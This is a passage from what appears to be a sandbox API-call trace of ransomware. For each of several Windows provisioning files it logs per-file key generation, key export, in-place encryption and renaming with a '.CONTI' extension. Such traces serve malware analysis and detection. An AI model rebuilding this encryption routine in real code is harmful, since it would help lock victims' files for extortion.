	[0111.681] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x1801788 | out: phKey=0x1801788*=0x6b7f038) returned 1
	[0111.681] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x180178c, pdwDataLen=0x4fbf86c | out: pbData=0x180178c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.682] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.682] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.682] GetLastError () returned 0x0
	[0111.682] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=702) returned 1
	[0111.682] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0111.682] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.683] SetEndOfFile (hFile=0x40c) returned 1
	[0111.683] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.683] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.683] WriteFile (in: hFile=0x40c, lpBuffer=0x180178c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x180178c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.685] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.685] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2be, lpOverlapped=0x0) returned 1
	[0111.685] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2be, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2c0) returned 1
	[0111.685] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.685] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.685] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.685] WriteFile (in: hFile=0x40c, lpBuffer=0x1801780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x1801780*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.685] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.685] CloseHandle (hObject=0x40c) returned 1
	[0111.685] GetProcessHeap () returned 0x1720000
	[0111.685] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.685] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml"
	[0111.685] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml.CONTI"
	[0111.685] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\419__Connections_Cellular_3 (Sweden)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\419__connections_cellular_3 (sweden)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0111.686] GetProcessHeap () returned 0x1720000
	[0111.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.686] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.686] GetProcessHeap () returned 0x1720000
	[0111.686] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e16d8 | out: hHeap=0x1720000) returned 1
	[0111.686] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.686] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x1801540 | out: phKey=0x1801540*=0x6b7f378) returned 1
	[0111.687] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x1801544, pdwDataLen=0x4fbf86c | out: pbData=0x1801544*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml")) returned 0x20
	[0111.687] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.688] GetLastError () returned 0x0
	[0111.688] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=851) returned 1
	[0111.688] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x353
	[0111.688] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.688] SetEndOfFile (hFile=0x40c) returned 1
	[0111.688] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.688] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.688] WriteFile (in: hFile=0x40c, lpBuffer=0x1801544*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x1801544*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.690] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.690] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x353, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x353, lpOverlapped=0x0) returned 1
	[0111.690] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x353, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x360) returned 1
	[0111.690] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.690] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x360, lpOverlapped=0x0) returned 1
	[0111.690] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.690] WriteFile (in: hFile=0x40c, lpBuffer=0x1801538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x1801538*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.690] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.690] CloseHandle (hObject=0x40c) returned 1
	[0111.690] GetProcessHeap () returned 0x1720000
	[0111.690] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.691] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml"
	[0111.691] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml.CONTI"
	[0111.691] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\41__Connections_Cellular_VELCOM (Belarus)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\41__connections_cellular_velcom (belarus)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0111.691] GetProcessHeap () returned 0x1720000
	[0111.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.691] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0111.691] GetProcessHeap () returned 0x1720000
	[0111.691] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6572ad8 | out: hHeap=0x1720000) returned 1
	[0111.691] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.692] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17ff308 | out: phKey=0x17ff308*=0x6b7f378) returned 1
	[0111.692] CryptExportKey (in: hKey=0x6b7f378, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ff30c, pdwDataLen=0x4fbf86c | out: pbData=0x17ff30c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.692] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0111.693] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.693] GetLastError () returned 0x0
	[0111.693] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=478) returned 1
	[0111.693] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1de
	[0111.693] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.693] SetEndOfFile (hFile=0x40c) returned 1
	[0111.694] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.694] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.694] WriteFile (in: hFile=0x40c, lpBuffer=0x17ff30c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17ff30c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.695] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.695] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1de, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1de, lpOverlapped=0x0) returned 1
	[0111.695] CryptEncrypt (in: hKey=0x6b7f378, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1de, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1e0) returned 1
	[0111.695] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.695] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.696] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.696] WriteFile (in: hFile=0x40c, lpBuffer=0x17ff300*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17ff300*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.696] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.696] CloseHandle (hObject=0x40c) returned 1
	[0111.696] GetProcessHeap () returned 0x1720000
	[0111.696] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.696] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml"
	[0111.696] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI"
	[0111.696] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\420__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\420__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.conti")) returned 1
	[0111.806] GetProcessHeap () returned 0x1720000
	[0111.806] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.806] CryptDestroyKey (hKey=0x6b7f378) returned 1
	[0111.806] GetProcessHeap () returned 0x1720000
	[0111.806] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6573518 | out: hHeap=0x1720000) returned 1
	[0111.806] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0111.806] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x18009d8 | out: phKey=0x18009d8*=0x6b7f638) returned 1
	[0111.806] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x18009dc, pdwDataLen=0x4fbf86c | out: pbData=0x18009dc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0111.807] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0111.807] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\441__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\441__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0111.807] GetLastError () returned 0x0
	[0111.807] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=460) returned 1
	[0111.808] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0111.808] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.808] SetEndOfFile (hFile=0x40c) returned 1
	[0111.809] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.809] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.809] WriteFile (in: hFile=0x40c, lpBuffer=0x18009dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x18009dc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0111.811] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.811] ReadFile (in: hFile=0x40c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x1cc, lpOverlapped=0x0) returned 1
	[0111.811] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1cc, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x1d0) returned 1
	[0111.811] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.811] WriteFile (in: hFile=0x40c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x1d0, lpOverlapped=0x0) returned 1
	[0111.811] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.811] WriteFile (in: hFile=0x40c, lpBuffer=0x18009d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x18009d0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0111.811] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.811] CloseHandle (hObject=0x40c) returned 1
	[0111.811] GetProcessHeap () returned 0x1720000
	[0111.811] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
